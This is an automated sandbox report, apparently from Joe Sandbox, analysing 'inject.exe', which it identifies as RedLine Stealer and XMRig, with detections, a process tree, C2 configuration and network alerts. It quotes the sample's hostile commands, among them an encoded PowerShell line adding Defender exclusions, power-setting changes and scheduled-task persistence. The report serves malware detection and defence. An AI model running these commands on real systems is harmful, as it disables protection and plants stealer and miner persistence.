Edit tour

Windows Analysis Report
inject.exe

Overview

General Information

Sample name:	inject.exe
Analysis ID:	1522107
MD5:	a1e894c08c924eec77ce07e2a8405b86
SHA1:	ff3f45d1773a07c2e92639ee7f0df24df4fbaf6f
SHA256:	527dbb0c86940e85a442e5eb558c9e2f8a20f257b1eb799ce32d6890c0fc48ad
Tags:	exeuser-4k95m
Infos:

Detection

RedLine, Xmrig

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for dropped file

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Schedule system process

Suricata IDS alerts for network traffic

Yara detected AntiVM3

Yara detected RedLine Stealer

Yara detected Xmrig cryptocurrency miner

.NET source code contains very large array initializations

AI detected suspicious sample

Allocates memory in foreign processes

C2 URLs / IPs found in malware configuration

Connects to a pastebin service (likely for C&C)

Contains functionality to detect sleep reduction / modifications

Contains functionality to inject code into remote processes

Contains functionality to register a low level keyboard hook

Drops password protected ZIP file

Encrypted powershell cmdline option found

Found many strings related to Crypto-Wallets (likely being stolen)

Injects a PE file into a foreign processes

Installs new ROOT certificates

Loading BitLocker PowerShell Module

Machine Learning detection for dropped file

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Sigma detected: Files With System Process Name In Unsuspected Locations

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Sigma detected: System File Execution Location Anomaly

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Crypto Currency Wallets

Uses schtasks.exe or at.exe to add and modify task schedules

Writes to foreign memory regions

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to communicate with device drivers

Contains functionality to download and execute PE files

Contains functionality to download and launch executables

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops certificate files (DER)

Enables debug privileges

Enables security privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check if the current machine is a sandbox (GetTickCount - Sleep)

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Suspicious Execution of Powershell with Base64

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

inject.exe (PID: 2452 cmdline: "C:\Users\user\Desktop\inject.exe" MD5: A1E894C08C924EEC77CE07E2A8405B86)

conhost.exe (PID: 6580 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

RegAsm.exe (PID: 3724 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

conhost.exe (PID: 616 cmdline: "C:\Users\user\AppData\Local\Temp\conhost.exe" MD5: CE901A874C9D157E48F83B1BE3D32AA6)

cmd.exe (PID: 6648 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5084 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

mode.com (PID: 2472 cmdline: mode 65,10 MD5: BEA7464830980BF7C0490307DB4FC875)

7z.exe (PID: 5560 cmdline: 7z.exe e file.zip -p29586644319935208542739921766 -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

7z.exe (PID: 6408 cmdline: 7z.exe e extracted/file_11.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

7z.exe (PID: 7156 cmdline: 7z.exe e extracted/file_10.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

7z.exe (PID: 7064 cmdline: 7z.exe e extracted/file_9.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

7z.exe (PID: 2820 cmdline: 7z.exe e extracted/file_8.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

7z.exe (PID: 1784 cmdline: 7z.exe e extracted/file_7.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

7z.exe (PID: 3116 cmdline: 7z.exe e extracted/file_6.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

7z.exe (PID: 4832 cmdline: 7z.exe e extracted/file_5.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

7z.exe (PID: 6720 cmdline: 7z.exe e extracted/file_4.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

7z.exe (PID: 4676 cmdline: 7z.exe e extracted/file_3.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

7z.exe (PID: 1396 cmdline: 7z.exe e extracted/file_2.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

7z.exe (PID: 3440 cmdline: 7z.exe e extracted/file_1.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

attrib.exe (PID: 5300 cmdline: attrib +H "Installer.exe" MD5: 5037D8E6670EF1D89FB6AD435F12A9FD)

Installer.exe (PID: 2164 cmdline: "Installer.exe" MD5: 89A069871324D35E25922F6FB881D514)

RegSvcs.exe (PID: 5552 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe" MD5: 9D352BC46709F0CB5EC974633A0C3C94)

cmd.exe (PID: 1492 cmdline: "cmd.exe" /C powershell -EncodedCommand "PAAjAHMAVwA4AEwAYwAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAFYAdwBBAHcAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMANQBSAGgAeAAjAD4AIAAtAEYAbwByAGMAZQAgADwAIwB1AGkAdQBwADgAUgAjAD4A" & powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0 & powercfg /hibernate off MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 6460 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 2352 cmdline: powershell -EncodedCommand "PAAjAHMAVwA4AEwAYwAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAFYAdwBBAHcAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMANQBSAGgAeAAjAD4AIAAtAEYAbwByAGMAZQAgADwAIwB1AGkAdQBwADgAUgAjAD4A" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

WmiPrvSE.exe (PID: 828 cmdline: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding MD5: 60FF40CFD7FB8FE41EE4FE9AE5FE1C51)

cmd.exe (PID: 6520 cmdline: "cmd.exe" /c SCHTASKS /CREATE /SC MINUTE /MO 5 /TN "dllhost" /TR "C:\ProgramData\Dllhost\dllhost.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 3176 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 5616 cmdline: SCHTASKS /CREATE /SC MINUTE /MO 5 /TN "dllhost" /TR "C:\ProgramData\Dllhost\dllhost.exe" MD5: 48C2FE20575769DE916F48EF0676A965)

cmd.exe (PID: 6004 cmdline: "cmd.exe" /c SCHTASKS /CREATE /SC HOURLY /TN "NvStray\NvStrayService_bk7625" /TR "C:\ProgramData\Dllhost\dllhost.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 3180 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
RedLine Stealer	RedLine Stealer is a malware available on underground forums for sale apparently as a standalone ($100/$150 depending on the version) or also on a subscription basis ($100/month). This malware harvests information from browsers such as saved credentials, autocomplete data, and credit card information. A system inventory is also taken when running on a target machine, to include details such as the username, location data, hardware configuration, and information regarding installed security software. More recent versions of RedLine added the ability to steal cryptocurrency. FTP and IM clients are also apparently targeted by this family, and this malware has the ability to upload and download files, execute commands, and periodically send back information about the infected computer.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://apophis133.medium.com/redline-technical-analysis-report-5034e16ad152 https://asec.ahnlab.com/en/30445/ https://asec.ahnlab.com/en/35981/ https://asec.ahnlab.com/ko/25837/	https://malpedia.caad.fkie.fraunhofer.de/details/win.redline_stealer

Name	Description	Attribution	Blogpost URLs	Link
xmrig	According to PCrisk, XMRIG is a completely legitimate open-source application that utilizes system CPUs to mine Monero cryptocurrency. Unfortunately, criminals generate revenue by infiltrating this app into systems without users' consent. This deceptive marketing method is called "bundling".In most cases, "bundling" is used to infiltrate several potentially unwanted programs (PUAs) at once. So, there is a high probability that XMRIG Virus came with a number of adware-type applications that deliver intrusive ads and gather sensitive information.	No Attribution	https://gridinsoft.com/xmrig https://www.akamai.com/blog/security-research/2024-php-exploit-cve-one-day-after-disclosure https://www.crowdstrike.com/blog/new-kiss-a-dog-cryptojacking-campaign-targets-docker-and-kubernetes/	https://malpedia.caad.fkie.fraunhofer.de/details/win.xmrig

Malware Configuration

Threatname: RedLine

{"C2 url": "185.215.113.22:80", "Bot Id": "@exelzt", "Message": "Click Close to exit the program. Error code: 1142", "Authorization Header": "2512ea8d547d5afb96b66992e487c694"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000003.00000002.2215892910.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000003.00000002.2216914083.00000000030AC000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.2055709662.00000000037F5000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000016.00000002.2282337473.000000000045A000.00000004.00000001.01000000.0000000D.sdmp	INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse	Detects file containing reversed ASEP Autorun registry keys	ditekSHen	0x28d1:$s1: nuR\noisreVtnerruC\swodniW\tfosorciM
Process Memory Space: inject.exe PID: 2452	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: RegAsm.exe PID: 3724	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: RegAsm.exe PID: 3724	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: Installer.exe PID: 2164	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
Process Memory Space: Installer.exe PID: 2164	INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse	Detects file containing reversed ASEP Autorun registry keys	ditekSHen	0x251ca:$s1: nuR\noisreVtnerruC\swodniW\tfosorciM
Process Memory Space: RegSvcs.exe PID: 5552	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
Process Memory Space: powershell.exe PID: 2352	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Click to see the 6 entries

Unpacked PEs

Source	Rule	Description	Author
0.2.inject.exe.37f5570.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0.2.inject.exe.37f5570.0.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
3.2.RegAsm.exe.400000.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security

Sigma Signatures

System Summary

Sigma detected: Files With System Process Name In Unsuspected Locations

Source: File created

Author: Sander Wiebing, Tim Shelton, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe, ProcessId: 3724, TargetFilename: C:\Users\user\AppData\Local\Temp\conhost.exe

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "cmd.exe" /C powershell -EncodedCommand "PAAjAHMAVwA4AEwAYwAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAFYAdwBBAHcAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMANQBSAGgAeAAjAD4AIAAtAEYAbwByAGMAZQAgADwAIwB1AGkAdQBwADgAUgAjAD4A" & powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0 & powercfg /hibernate off, CommandLine: "cmd.exe" /C powershell -EncodedCommand "PAAjAHMAVwA4AEwAYwAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAFYAdwBBAHcAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMANQBSAGgAeAAjAD4AIAAtAEYAbwByAGMAZQAgADwAIwB1AGkAdQBwADgAUgAjAD4A" & powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0 & powercfg /hibernate off, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe", ParentImage: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe, ParentProcessId: 5552, ParentProcessName: RegSvcs.exe, ProcessCommandLine: "cmd.exe" /C powershell -EncodedCommand "PAAjAHMAVwA4AEwAYwAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAFYAdwBBAHcAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMANQBSAGgAeAAjAD4AIAAtAEYAbwByAGMAZQAgADwAIwB1AGkAdQBwADgAUgAjAD4A" & powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0 & powercfg /hibernate off, ProcessId: 1492, ProcessName: cmd.exe

Sigma detected: System File Execution Location Anomaly

Source: Process started

Author: Florian Roth (Nextron Systems), Patrick Bareiss, Anton Kutepov, oscd.community, Nasreddine Bencherchali: Data: Command: "C:\Users\user\AppData\Local\Temp\conhost.exe" , CommandLine: "C:\Users\user\AppData\Local\Temp\conhost.exe" , CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Local\Temp\conhost.exe, NewProcessName: C:\Users\user\AppData\Local\Temp\conhost.exe, OriginalFileName: C:\Users\user\AppData\Local\Temp\conhost.exe, ParentCommandLine: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe", ParentImage: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe, ParentProcessId: 3724, ParentProcessName: RegAsm.exe, ProcessCommandLine: "C:\Users\user\AppData\Local\Temp\conhost.exe" , ProcessId: 616, ProcessName: conhost.exe

Sigma detected: Suspicious Execution of Powershell with Base64

Source: Process started

Author: frack113: Data: Command: powershell -EncodedCommand "PAAjAHMAVwA4AEwAYwAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAFYAdwBBAHcAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMANQBSAGgAeAAjAD4AIAAtAEYAbwByAGMAZQAgADwAIwB1AGkAdQBwADgAUgAjAD4A" , CommandLine: powershell -EncodedCommand "PAAjAHMAVwA4AEwAYwAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAFYAdwBBAHcAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMANQBSAGgAeAAjAD4AIAAtAEYAbwByAGMAZQAgADwAIwB1AGkAdQBwADgAUgAjAD4A" , CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "cmd.exe" /C powershell -EncodedCommand "PAAjAHMAVwA4AEwAYwAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAFYAdwBBAHcAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMANQBSAGgAeAAjAD4AIAAtAEYAbwByAGMAZQAgADwAIwB1AGkAdQBwADgAUgAjAD4A" & powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0 & powercfg /hibernate off, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 1492, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -EncodedCommand "PAAjAHMAVwA4AEwAYwAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAFYAdwBBAHcAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMANQBSAGgAeAAjAD4AIAAtAEYAbwByAGMAZQAgADwAIwB1AGkAdQBwADgAUgAjAD4A" , ProcessId: 2352, ProcessName: powershell.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell -EncodedCommand "PAAjAHMAVwA4AEwAYwAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAFYAdwBBAHcAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMANQBSAGgAeAAjAD4AIAAtAEYAbwByAGMAZQAgADwAIwB1AGkAdQBwADgAUgAjAD4A" , CommandLine: powershell -EncodedCommand "PAAjAHMAVwA4AEwAYwAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAFYAdwBBAHcAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMANQBSAGgAeAAjAD4AIAAtAEYAbwByAGMAZQAgADwAIwB1AGkAdQBwADgAUgAjAD4A" , CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "cmd.exe" /C powershell -EncodedCommand "PAAjAHMAVwA4AEwAYwAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAFYAdwBBAHcAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMANQBSAGgAeAAjAD4AIAAtAEYAbwByAGMAZQAgADwAIwB1AGkAdQBwADgAUgAjAD4A" & powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0 & powercfg /hibernate off, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 1492, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -EncodedCommand "PAAjAHMAVwA4AEwAYwAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAFYAdwBBAHcAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMANQBSAGgAeAAjAD4AIAAtAEYAbwByAGMAZQAgADwAIwB1AGkAdQBwADgAUgAjAD4A" , ProcessId: 2352, ProcessName: powershell.exe

Persistence and Installation Behavior

Sigma detected: Schedule system process

Source: Process started

Author: Joe Security: Data: Command: "cmd.exe" /c SCHTASKS /CREATE /SC MINUTE /MO 5 /TN "dllhost" /TR "C:\ProgramData\Dllhost\dllhost.exe", CommandLine: "cmd.exe" /c SCHTASKS /CREATE /SC MINUTE /MO 5 /TN "dllhost" /TR "C:\ProgramData\Dllhost\dllhost.exe", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe", ParentImage: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe, ParentProcessId: 5552, ParentProcessName: RegSvcs.exe, ProcessCommandLine: "cmd.exe" /c SCHTASKS /CREATE /SC MINUTE /MO 5 /TN "dllhost" /TR "C:\ProgramData\Dllhost\dllhost.exe", ProcessId: 6520, ProcessName: cmd.exe

Suricata Signatures

ET MALWARE Redline Stealer TCP CnC - Id1Response

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-29T09:44:02.541531+0200	2043234	1	A Network Trojan was detected	185.215.113.22	80	192.168.2.5	49704	TCP

ET MALWARE Redline Stealer TCP CnC Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-29T09:44:02.309242+0200	2043231	1	A Network Trojan was detected	192.168.2.5	49704	185.215.113.22	80	TCP
2024-09-29T09:44:07.926652+0200	2043231	1	A Network Trojan was detected	192.168.2.5	49704	185.215.113.22	80	TCP
2024-09-29T09:44:12.194080+0200	2043231	1	A Network Trojan was detected	192.168.2.5	49704	185.215.113.22	80	TCP
2024-09-29T09:44:15.827930+0200	2043231	1	A Network Trojan was detected	192.168.2.5	49704	185.215.113.22	80	TCP
2024-09-29T09:44:16.498001+0200	2043231	1	A Network Trojan was detected	192.168.2.5	49704	185.215.113.22	80	TCP

ET MALWARE [ANY.RUN] RedLine Stealer/MetaStealer Family Related (MC-NMF Authorization)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-29T09:44:02.309242+0200	2046045	1	A Network Trojan was detected	192.168.2.5	49704	185.215.113.22	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\main\extracted\Installer.exe	Avira: detection malicious, Label: TR/Dldr.Agent.vfpsy
Source: C:\Users\user\AppData\Local\Temp\conhost.exe	Avira: detection malicious, Label: TR/Redcap.bgduw

Found malware configuration

Source: 00000000.00000002.2055709662.00000000037F5000.00000004.00000800.00020000.00000000.sdmp

Malware Configuration Extractor: RedLine {"C2 url": "185.215.113.22:80", "Bot Id": "@exelzt", "Message": "Click Close to exit the program. Error code: 1142", "Authorization Header": "2512ea8d547d5afb96b66992e487c694"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\conhost.exe	ReversingLabs: Detection: 83%
Source: C:\Users\user\AppData\Local\Temp\main\extracted\Installer.exe	ReversingLabs: Detection: 91%

Multi AV Scanner detection for submitted file

Source: inject.exe

ReversingLabs: Detection: 76%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\main\extracted\Installer.exe

Joe Sandbox ML: detected

Bitcoin Miner

Yara detected Xmrig cryptocurrency miner

Source: Yara match	File source: Process Memory Space: Installer.exe PID: 2164, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 5552, type: MEMORYSTR

Source: inject.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown

HTTPS traffic detected: 104.20.3.235:443 -> 192.168.2.5:49716 version: TLS 1.2

Source: inject.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: C:\Users\Administrator\Desktop\Pch3lkinMinerBuilder\Task32Main\Task32Main\obj\Debug\Task32Main.pdb source: Installer.exe, 00000016.00000002.2282337473.000000000031C000.00000004.00000001.01000000.0000000D.sdmp, Installer.exe, 00000016.00000003.2281553518.0000000003542000.00000040.00001000.00020000.00000000.sdmp, RegSvcs.exe, 00000017.00000002.2334616398.0000000000402000.00000020.00000400.00020000.00000000.sdmp
Source:	Binary string: c:\rje\tg\v\obj\Release\Qrr.pdb source: inject.exe

Source: C:\Users\user\AppData\Local\Temp\conhost.exe	Code function: 5_2_004031DC FindFirstFileW,SetFileAttributesW,lstrcmpW,lstrcmpW,SetFileAttributesW,DeleteFileW,FindNextFileW,FindClose,SetFileAttributesW,RemoveDirectoryW,??3@YAXPAX@Z,??3@YAXPAX@Z,	5_2_004031DC
Source: C:\Users\user\AppData\Local\Temp\conhost.exe	Code function: 5_2_0040367D GetFileAttributesW,SetLastError,FindFirstFileW,FindClose,CompareFileTime,	5_2_0040367D
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 9_2_00317978 FindFirstFileW,FindFirstFileW,free,	9_2_00317978
Source: C:\Users\user\AppData\Local\Temp\main\Installer.exe	Code function: 22_2_0030A151 FindFirstFileExW,	22_2_0030A151

Source: C:\Users\user\AppData\Local\Temp\main\7z.exe

Code function: 9_2_0031881C free,free,GetLogicalDriveStringsW,GetLogicalDriveStringsW,free,free,free,

9_2_0031881C

